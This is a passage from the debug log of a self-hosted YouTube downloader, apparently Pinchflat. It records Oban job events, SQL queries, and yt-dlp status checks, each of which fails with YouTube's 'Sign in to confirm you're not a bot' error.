"id" [252, 1, ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z]] 20:31:11.510 [info] {"args":{"id":1},"id":2,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":808031684,"event":"job:stop","attempt":1,"queue_time":119044,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:31:11.513 [debug] QUERY OK source="tasks" db=3.5ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:11.514 [debug] QUERY OK source="media_items" db=0.4ms idle=9.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [2, 1] 20:31:13.140 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0MSW0B91n9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/2c/702cd7bcb1fded93f12c8655c49ec3bb34392382adf93e5e191981e76f983dd2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 0MSW0B91n9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:13.141 [error] yt-dlp download error for media item #1: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 0MSW0B91n9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:13.141 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 0MSW0B91n9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:13.143 [info] {"args":{"id":1},"id":199,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1789653,"event":"job:stop","attempt":1,"queue_time":351063,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:13.145 [debug] QUERY OK source="tasks" db=1.3ms idle=553.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:13.146 [debug] QUERY OK source="media_items" db=0.8ms idle=555.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2] 20:31:13.150 [info] {"args":{"id":3},"id":201,"meta":{},"system_time":1774150273149881321,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:13.151 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=377.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 20:31:13.151 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:13.152 [debug] QUERY OK source="tasks" db=2.2ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:13.154 [debug] QUERY OK source="sources" db=1.4ms queue=0.7ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:13.154 [debug] QUERY OK source="media_items" db=1.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [2, 3] 20:31:13.156 [debug] QUERY OK source="media_profiles" db=2.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:13.157 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 20:31:13.159 [debug] QUERY OK source="media_metadata" db=0.4ms idle=6.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [3] 20:31:13.160 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:13.161 [debug] QUERY OK source="settings" db=0.7ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.162 [debug] QUERY OK source="settings" db=0.5ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.163 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:13.164 [debug] QUERY OK source="settings" db=0.3ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.165 [debug] QUERY OK source="settings" db=0.5ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.165 [debug] QUERY OK source="settings" db=0.5ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.165 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ihauZUZp9E --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/fc/c3fc68ac4dd783d8edb59fe88682ce25cc8f2edfb8e3e57726613cf5a9e0628d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:13.271 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LZ325pfdefA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/54/e8/54e8b301e0531207b73dcb280882c61e06ee9ccf3d7b68a3dfcd09a5072a91ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] LZ325pfdefA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:13.272 [error] yt-dlp download error for media item #2: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] LZ325pfdefA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:13.272 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] LZ325pfdefA: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:13.273 [info] {"args":{"id":2},"id":200,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1920424,"event":"job:stop","attempt":1,"queue_time":351063,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:13.275 [debug] QUERY OK source="tasks" db=0.7ms queue=0.1ms idle=111.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:13.275 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=110.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 20:31:13.281 [info] {"args":{"id":4},"id":202,"meta":{},"system_time":1774150273281330779,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:13.282 [debug] QUERY OK source="media_items" db=0.5ms idle=115.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 20:31:13.282 [debug] QUERY OK source="tasks" db=0.5ms idle=8.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:13.282 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:13.283 [debug] QUERY OK source="media_items" db=0.7ms idle=7.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [3, 4] 20:31:13.284 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:13.286 [debug] QUERY OK source="media_profiles" db=1.6ms queue=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:13.287 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 20:31:13.288 [debug] QUERY OK source="media_metadata" db=0.0ms idle=5.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [4] 20:31:13.288 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:13.288 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.289 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.290 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:13.291 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.291 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.293 [debug] QUERY OK source="settings" db=1.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:13.293 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=CJbics5QJMc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bb/ec/bbec526d3c0b3f644932dd4aa9f4b9e7c5e502b4fa311c218d86e3dae2ff72f9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:15.071 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9ihauZUZp9E --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c3/fc/c3fc68ac4dd783d8edb59fe88682ce25cc8f2edfb8e3e57726613cf5a9e0628d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] 9ihauZUZp9E: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:15.071 [error] yt-dlp download error for media item #3: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9ihauZUZp9E: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:15.071 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] 9ihauZUZp9E: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:15.073 [info] {"args":{"id":3},"id":201,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1921756,"event":"job:stop","attempt":1,"queue_time":2149115,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:15.074 [debug] QUERY OK source="tasks" db=1.2ms idle=483.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:15.075 [debug] QUERY OK source="media_items" db=0.4ms idle=484.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4] 20:31:15.080 [info] {"args":{"id":5},"id":203,"meta":{},"system_time":1774150275080353062,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:15.082 [debug] QUERY OK source="media_items" db=1.0ms queue=0.2ms idle=302.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 